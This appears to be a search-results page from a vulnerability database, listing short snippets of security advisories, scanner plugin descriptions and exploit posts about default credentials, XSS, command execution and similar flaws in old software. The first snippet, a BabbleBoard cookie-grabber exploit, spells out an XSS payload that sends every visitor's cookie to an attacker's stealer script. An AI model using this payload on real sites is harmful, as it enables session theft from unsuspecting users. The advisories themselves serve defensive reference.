380 matches found
BabbleBoard 1.1.6 - Cross-Site Request Forgery/Cookie Grabber
BabbleBoard v1.1.6 Cookie Grabber Exploit/CSRF + Discovered By SirGod + Greetz : All my friends + Cookie Grabber Exploit - Steal the cookie of any visitor. 1.Register as : document.location ="http://yourdomain/path/stealer.php?cookie=" + document.cookie; Everyone who visit the index page will be...
ASG-Sentry CGI Default Credentials
The remote ASG-Sentry CGI script is configured to use default credentials to control administrative access. Knowing these, an attacker can gain administrative control of the affected application. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc';...
OpenNMS Web Console Default Credentials
The remote OpenNMS Web Console is configured to use default credentials to control administrative access. Knowing these, an attacker can gain administrative control of the affected application. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc';...
benjacms-uploadxss.txt
============================================================== Benja CMS 0.1 Upload/XSS Multiple Remote Vulnerabilities ============================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hacking Team...
Cisco Unified Communications灾难恢复框架远程命令执行漏洞
BUGTRAQ ID: 28591 CVECAN ID: CVE-2008-1154 灾难恢复框架（DRF）是Cisco Unified Communications产品家族中一些产品间所共享的功能，允许管理员将系统配置备份和恢复到本地磁带驱动或远程服务器。 DRF Master服务器负责执行备份和恢复请求。DRF Master服务器对从网络接收到的请求没有执行认证，未经认证的远程用户可以连接到DRF Master服务器并执行任何DRF相关的任务，包括： 修改或删除计划备份 将系统备份拷贝到用户指定的远程服务器 从远程服务器恢复用户指定的配置 执行任意操作系统命令...
solidDB Default Credentials
The remote instance of solidDB uses known credentials to control access. With these, an attacker can gain administrative control of the affected application. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid31681;...
WinComLPD LPD Monitoring Server Default Credentials
The remote LPD Monitoring Server port is configured to use the default credentials to control access. Knowing these, an attacker can gain administrative control of the affected application. C Tenable Network Security, Inc. include"compat.inc"; if description scriptid30186; scriptversion"$Revision...
Flatnuke3 File Manager Module - Unauthorized Access
Flatnuke3 File Manager Module - Unauthorized Access source: https://www.securityfocus.com/bid/26155/info Flatnuke3 is prone to an unauthorized-access vulnerability because it fails to adequately verify administrative credentials while logging in via the 'File Manager' module. An attacker can...
Flatnuke3 File Manager Module - Unauthorized Access
source: https://www.securityfocus.com/bid/26155/info Flatnuke3 is prone to an unauthorized-access vulnerability because it fails to adequately verify administrative credentials while logging in via the 'File Manager' module. An attacker can exploit this vulnerability to gain administrative contro...
IRM Vendor Alerts: Six critical remote vulnerabilities in TIBCO SmartPGM FX
IRM have discovered six critical remote vulnerabilities in TIBCO SmartPGM FX. Five of these vulnerabilities could potentially result in an attacker gaining remote administrative control of the server on which SmartPGM FX is running and therefore, also allow access to any data stored on or being...
SYMSA-2007-008: Autodesk Backburner 3.0.2 System Backdoor
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Symantec Consulting Services www.symantec.com Security Advisory Advisory ID: SYMSA-2007-008 Advisory Title: Autodesk Backburner 3.0.2 : System Backdoor Author: Dave Hartley and Stephen Kapp [email protected] Release Date: 12-09-2007 Application...
ACROS Security: Session Fixation Vulnerability in HP SIM 5.0
=====BEGIN-ACROS-REPORT===== PUBLIC ========================================================================= ACROS Security Problem Report 2007-05-14-1 ------------------------------------------------------------------------- ASPR 2007-05-14-1: Session Fixation Vulnerability in HP SIM 5.0...
Cisco NetFlow Collection Engine contains known default passwords
Overview A vulnerability in the Cisco NetFlow Collection Engine could allow a remote attacker to gain access to a vulnerable system. Description The Cisco Network Services CNS NetFlow Collection Engine NFC is a software package for supported UNIX platforms and is used to collect and monitor NetFl...
Cisco Security Advisory: Multiple Vulnerabilities in the Cisco Wireless Control System
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cisco Security Advisory: Multiple Vulnerabilities in the Cisco Wireless Control System Advisory ID: cisco-sa-20070412-wcs http://www.cisco.com/warp/public/707/cisco-sa-20070412-wcs.shtml Revision 1.0 For Public Release 2007 April 12 1600 UTC GMT -...
Microsoft Excel fails to properly parse malformed Palette records
Overview A vulnerability in the way that Microsoft Excel handles malformed Palette records could allow an attacker to execute arbitrary code on a vulnerable system. Description Microsoft Excel fails to properly handle Palette records embedded in Excel documents. When a file containing a malformed...
Fuji Xerox Printing Systems (FXPS) Print Engine Crafted Request HTTP Authentication Bypass
The remote host appears to be a Fuji Xerox Printing Systems FXPS printer. According to its firmware version, the web server component of the FXPS device reportedly fails to authenticate HTTP requests, which could allow a remote attacker to gain administrative control of the affected printer and...
Brightmail AntiSpam bmagent Multiple Remote Vulnerabilities (DoS, Traversal)
The remote host is running Brightmail AntiSpam, an antispam and anti- virus filter for mail servers, and includes Brightmail Agent, a web server intended to be used by a Brightmail Control Center to manage the Brightmail Scanner. The version of Brightmail Agent installed on the remote host does n...
Microsoft Hyperlink Object Library stack buffer overflow
Overview The Microsoft Windows system library for handling hyperlinks contains a buffer overflow. Exploitation of this vulnerability may allow an attacker to execute arbitrary code. Description Microsoft Hyperlink Object Library HLINK.DLL The Hyperlink Object Library provides interfaces for...
frontpage -- cross site scripting vulnerability
Esteban Martinez Fayo reports: The FrontPage Server Extensions 2002 included in Windows Sever 2003 IIS 6.0 and available as a separate download for Windows 2000 and XP has a web page /vtibin/vtiadm/fpadmdll.dll that is used for administrative purposes. This web page is vulnerable to cross site...